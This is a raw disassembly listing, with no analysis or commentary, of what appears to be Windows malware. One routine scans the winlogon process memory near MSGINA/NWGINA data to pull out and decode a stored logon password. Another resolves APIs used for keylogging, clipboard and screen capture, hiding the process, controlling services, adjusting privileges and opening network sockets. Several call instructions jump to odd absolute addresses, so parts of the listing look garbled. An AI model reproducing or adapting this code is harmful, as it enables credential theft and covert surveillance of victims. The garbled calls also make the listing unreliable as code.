var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_4240EC
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_43F314
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_43F314
		test	eax, eax
		jnz	short loc_4092F6
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_4092F6
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_4092F6


loc_409292:				; CODE XREF: sub_409209+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_4092E9
		push	0
		push	0
		call	dword_43F308
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_43F518
		test	eax, eax
		jnz	short loc_4092DA
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40930E


loc_4092DA:				; CODE XREF: sub_409209+AAj
		test	edi, edi
		jz	short loc_4092E5
		push	edi
		call	dword_43F310


loc_4092E5:				; CODE XREF: sub_409209+D3j
		mov	eax, [esp+28h+var_10]


loc_4092E9:				; CODE XREF: sub_409209+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_409292


loc_4092F6:				; CODE XREF: sub_409209+6Dj
					; sub_409209+7Aj ...
		xor	edi, edi


loc_4092F8:				; CODE XREF: sub_409209+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 2700000h
		nop
		mov	eax, edi


loc_409306:				; CODE XREF: sub_409209+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_40930E:				; CODE XREF: sub_409209+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_409377
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_409324:				; CODE XREF: sub_409209+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40938B
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_419063
		pop	ecx
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409369
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_409369:				; CODE XREF: sub_409209+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_409324


loc_409377:				; CODE XREF: sub_409209+10Fj
		test	edi, edi
		jz	short loc_409382
		push	edi
		call	dword_43F310


loc_409382:				; CODE XREF: sub_409209+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_4092F8
; ---------------------------------------------------------------------------


loc_40938B:				; CODE XREF: sub_409209+13Cj
		xor	eax, eax
		jmp	loc_409306
sub_409209	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409392	proc near		; CODE XREF: sub_409037+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 2720789h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_4093BB
		xor	eax, eax
		jmp	loc_409536
; ---------------------------------------------------------------------------


loc_4093BB:				; CODE XREF: sub_409392+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	near ptr 27201EEh
		nop
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_4240EC
		push	8
		call	esi
		mov	edi, dword_4240E8
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_4240F4
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_40940B
		xor	esi, esi
		jmp	loc_409529
; ---------------------------------------------------------------------------


loc_40940B:				; CODE XREF: sub_409392+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2710C06h
		test	eax, eax
		jz	loc_409518
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_409518
		test	[ebp+var_2B], 1
		jnz	loc_409518
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_409518


loc_40946E:				; CODE XREF: sub_409392+112j
		push	edi
		push	offset dword_43E308
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409496
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_43EB08
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4094A6


loc_409496:				; CODE XREF: sub_409392+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_409518
		jmp	short loc_40946E
; ---------------------------------------------------------------------------


loc_4094A6:				; CODE XREF: sub_409392+102j
		test	edi, edi
		jz	short loc_409518
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 26A051Ah
		test	eax, eax
		jz	short loc_4094E1
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_4094E1
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_4094E1:				; CODE XREF: sub_409392+12Bj
					; sub_409392+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_43F52C, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_43F524, eax
		mov	dword_43F528, edi


loc_409518:				; CODE XREF: sub_409392+90j
					; sub_409392+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 2700000h
		mov	esi, [ebp+var_10]


loc_409529:				; CODE XREF: sub_409392+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26307C3h
		pop	edi
		mov	eax, esi
		pop	ebx


loc_409536:				; CODE XREF: sub_409392+24j
		pop	esi
		leave
		retn
sub_409392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409539	proc near		; CODE XREF: sub_409037:loc_40912Fp

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 2720789h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_40962B
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 27201EEh
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_409622
		mov	edi, dword_4240EC


loc_409584:				; CODE XREF: sub_409539+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2710C06h
		test	eax, eax
		jz	short loc_409610
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_409616
		test	[ebp+var_13], 1
		jnz	short loc_409616
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2710000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		nop
		call	near ptr 2720000h
		test	eax, eax
		jz	short loc_409602
		push	offset dword_43E308
		push	esi
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409602
		lea	eax, [esi+400h]
		push	offset dword_43EB08
		push	eax
		call	sub_422A52
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409632


loc_409602:				; CODE XREF: sub_409539+9Fj
					; sub_409539+B0j
		push	esi
		push	0
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		jmp	short loc_409616
; ---------------------------------------------------------------------------


loc_409610:				; CODE XREF: sub_409539+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_409616:				; CODE XREF: sub_409539+71j
					; sub_409539+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_409584


loc_409622:				; CODE XREF: sub_409539+3Fj
		push	[ebp+arg_0]
		nop
		call	near ptr 26307C3h


loc_40962B:				; CODE XREF: sub_409539+1Ej
		xor	eax, eax


loc_40962D:				; CODE XREF: sub_409539+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409632:				; CODE XREF: sub_409539+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_43F524, ebx
		mov	dword_43F528, eax
		cmp	[eax], cl
		jnz	short loc_409654
		cmp	[eax+1], cl
		jz	short loc_40965C


loc_409654:				; CODE XREF: sub_409539+114j
					; sub_409539+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_409654


loc_40965C:				; CODE XREF: sub_409539+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		call	near ptr 26307C3h
		nop
		push	1
		pop	eax
		jmp	short loc_40962D
sub_409539	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40966F	proc near		; CODE XREF: sub_409037+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_43F520
		push	esi
		mov	esi, dword_4240EC
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2710000h
		mov	ecx, dword_43F520
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_43F528
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_43F52C
		push	eax
		call	dword_43F30C
		push	[ebp+var_4]
		mov	edi, offset dword_43F318
		push	offset dword_43E308
		push	offset dword_43EB08
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	200h
		push	edi
		call	sub_41782A
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 2700000h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40966F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409706	proc near		; CODE XREF: sub_409037:loc_409173p

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_43F520
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2710B66h
		push	eax
		call	near ptr 2710000h
		nop
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_43EB08
		mov	edi, 200h
		mov	esi, offset dword_43E108


loc_40974C:				; CODE XREF: sub_409706+FAj
		mov	eax, dword_43F520
		add	eax, eax
		push	eax
		push	dword_43F528
		push	[ebp+var_14]
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_43F30C
		mov	eax, dword_43F520
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_4097C1


loc_409789:				; CODE XREF: sub_409706+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_4097AD
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_4097AD
		cmp	dl, 20h
		jnb	short loc_4097A7
		and	[ebp+var_8], 0


loc_4097A7:				; CODE XREF: sub_409706+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_4097B1


loc_4097AD:				; CODE XREF: sub_409706+90j
					; sub_409706+96j
		and	[ebp+var_8], 0


loc_4097B1:				; CODE XREF: sub_409706+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_409789
		cmp	[ebp+var_8], 0
		jz	short loc_4097DE


loc_4097C1:				; CODE XREF: sub_409706+81j
		push	[ebp+var_14]
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CDC0
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 1Ch
		jmp	short loc_4097F6
; ---------------------------------------------------------------------------


loc_4097DE:				; CODE XREF: sub_409706+87j
					; sub_409706+B9j
		push	offset dword_43E308
		push	ebx
		push	[ebp+arg_0]
		push	offset unk_42CE2C
		push	edi
		push	esi
		call	sub_41782A
		add	esp, 18h


loc_4097F6:				; CODE XREF: sub_409706+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_40974C
		push	[ebp+var_14]
		push	0
		call	near ptr 2710B66h
		nop
		push	eax
		nop
		call	near ptr 2700000h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409706	endp


; =============== S U B	R O U T	I N E =======================================



sub_40981F	proc near		; CODE XREF: ___:0040E6F1p
		push	ebx
		push	ebp
		mov	ebp, dword_424100
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4240DC
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_40993F
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_43F714, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_43F688, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_43F66C, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_43F588, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_43F534, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43F564, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43F5D8, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43F6C8, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_43F724, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_43F594, eax
		call	esi
		cmp	dword_43F714, ebx
		mov	dword_43F57C, eax
		jz	short loc_40991D
		cmp	dword_43F688, ebx
		jz	short loc_40991D
		cmp	dword_43F66C, ebx
		jz	short loc_40991D
		cmp	dword_43F588, ebx
		jz	short loc_40991D
		cmp	dword_43F564, ebx
		jz	short loc_40991D
		cmp	dword_43F5D8, ebx
		jz	short loc_40991D
		cmp	dword_43F6C8, ebx
		jz	short loc_40991D
		cmp	dword_43F724, ebx
		jz	short loc_40991D
		cmp	dword_43F594, ebx
		jz	short loc_40991D
		cmp	eax, ebx
		jnz	short loc_409927


loc_40991D:				; CODE XREF: sub_40981F+B8j
					; sub_40981F+C0j ...
		mov	dword_43F728, 1


loc_409927:				; CODE XREF: sub_40981F+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F6A0, eax
		jz	short loc_409954
		push	1
		push	ebx
		call	eax
		jmp	short loc_409954
; ---------------------------------------------------------------------------


loc_40993F:				; CODE XREF: sub_40981F+1Dj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F72C, eax
		mov	dword_43F728, 1


loc_409954:				; CODE XREF: sub_40981F+117j
					; sub_40981F+11Ej
		push	offset aUser32_dll ; "user32.dll"
		nop
		call	near ptr 26F06EAh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409A69
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_43F6C4, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_43F674, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_43F608, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_43F718, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43F638, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_43F658, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_43F6BC, eax
		call	esi
		cmp	dword_43F6C4, ebx
		mov	dword_43F5B0, eax
		jz	short loc_409A0D
		cmp	dword_43F674, ebx
		jz	short loc_409A0D
		cmp	dword_43F608, ebx
		jz	short loc_409A0D
		cmp	dword_43F718, ebx
		jz	short loc_409A0D
		cmp	dword_43F638, ebx
		jz	short loc_409A0D
		cmp	dword_43F658, ebx
		jz	short loc_409A0D
		cmp	dword_43F6BC, ebx
		jz	short loc_409A0D
		cmp	eax, ebx
		jnz	short loc_409A17


loc_409A0D:				; CODE XREF: sub_40981F+1B8j
					; sub_40981F+1C0j ...
		mov	dword_43F730, 1


loc_409A17:				; CODE XREF: sub_40981F+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_43F634, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_43F548, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_43F604, eax
		call	esi
		cmp	dword_43F634, ebx
		mov	dword_43F5F0, eax
		jz	short loc_409A74
		cmp	dword_43F548, ebx
		jz	short loc_409A74
		cmp	dword_43F604, ebx
		jz	short loc_409A74
		cmp	eax, ebx
		jnz	short loc_409A7E
		jmp	short loc_409A74
; ---------------------------------------------------------------------------


loc_409A69:				; CODE XREF: sub_40981F+144j
		nop
		call	near ptr 2650BAEh
		mov	dword_43F734, eax


loc_409A74:				; CODE XREF: sub_40981F+232j
					; sub_40981F+23Aj ...
		mov	dword_43F730, 1


loc_409A7E:				; CODE XREF: sub_40981F+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409C19
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_43F6D8, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_43F61C, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_43F68C, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_43F574, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_43F5D4, eax
		call	esi
		cmp	dword_43F6D8, ebx
		mov	dword_43F644, eax
		jz	short loc_409B09
		cmp	dword_43F61C, ebx
		jz	short loc_409B09
		cmp	dword_43F68C, ebx
		jz	short loc_409B09
		cmp	dword_43F574, ebx
		jz	short loc_409B09
		cmp	dword_43F5D4, ebx
		jz	short loc_409B09
		cmp	eax, ebx
		jnz	short loc_409B13


loc_409B09:				; CODE XREF: sub_40981F+2C4j
					; sub_40981F+2CCj ...
		mov	dword_43F738, 1


loc_409B13:				; CODE XREF: sub_40981F+2E8j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_43F64C, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_43F624, eax
		call	esi
		cmp	dword_43F64C, ebx
		mov	dword_43F6D4, eax
		jz	short loc_409B4E
		cmp	dword_43F624, ebx
		jz	short loc_409B4E
		cmp	eax, ebx
		jnz	short loc_409B58


loc_409B4E:				; CODE XREF: sub_40981F+321j
					; sub_40981F+329j
		mov	dword_43F738, 1


loc_409B58:				; CODE XREF: sub_40981F+32Dj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43F65C, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_43F550, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_43F558, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_43F5B8, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_43F5BC, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_43F56C, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43F628, eax
		call	esi
		cmp	dword_43F65C, ebx
		mov	dword_43F55C, eax
		jz	short loc_409BFC
		cmp	dword_43F550, ebx
		jz	short loc_409BFC
		cmp	dword_43F558, ebx
		jz	short loc_409BFC
		cmp	dword_43F5B8, ebx
		jz	short loc_409BFC
		cmp	dword_43F5BC, ebx
		jz	short loc_409BFC
		cmp	dword_43F56C, ebx
		jz	short loc_409BFC
		cmp	dword_43F628, ebx
		jz	short loc_409BFC
		cmp	eax, ebx
		jnz	short loc_409C06


loc_409BFC:				; CODE XREF: sub_40981F+3A7j
					; sub_40981F+3AFj ...
		mov	dword_43F738, 1


loc_409C06:				; CODE XREF: sub_40981F+3DBj
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_43F554, eax
		jnz	short loc_409C2E
		jmp	short loc_409C24
; ---------------------------------------------------------------------------


loc_409C19:				; CODE XREF: sub_40981F+26Aj
		call	near ptr 2650BAEh
		nop
		mov	dword_43F73C, eax


loc_409C24:				; CODE XREF: sub_40981F+3F8j
		mov	dword_43F738, 1


loc_409C2E:				; CODE XREF: sub_40981F+3F6j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409CFA
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_43F654, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_43F6AC, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_43F6B4, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_43F670, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_43F598, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43F544, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_43F6B0, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_43F530, eax
		call	esi
		cmp	dword_43F654, ebx
		mov	dword_43F5CC, eax
		jz	short loc_409D05
		cmp	dword_43F6AC, ebx
		jz	short loc_409D05
		cmp	dword_43F6B4, ebx
		jz	short loc_409D05
		cmp	dword_43F670, ebx
		jz	short loc_409D05
		cmp	dword_43F598, ebx
		jz	short loc_409D05
		cmp	dword_43F544, ebx
		jz	short loc_409D05
		cmp	dword_43F6B0, ebx
		jz	short loc_409D05
		cmp	dword_43F530, ebx
		jz	short loc_409D05
		cmp	eax, ebx
		jnz	short loc_409D0F
		jmp	short loc_409D05
; ---------------------------------------------------------------------------


loc_409CFA:				; CODE XREF: sub_40981F+41Aj
		nop
		call	near ptr 2650BAEh
		mov	dword_43F744, eax


loc_409D05:				; CODE XREF: sub_40981F+49Bj
					; sub_40981F+4A3j ...
		mov	dword_43F740, 1


loc_409D0F:				; CODE XREF: sub_40981F+4D7j
		mov	ebp, dword_4240E0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409FCB
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_43F5E0, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_43F70C, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43F584, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_43F560, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_43F614, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_43F5FC, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_43F5C8, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_43F6E8, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_43F704, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_43F610, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_43F6F4, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_43F6A8, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_43F668, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_43F664, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_43F5A4, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_43F59C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_43F6B8, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_43F6CC, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_43F680, eax
		call	esi
		mov	dword_43F640, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
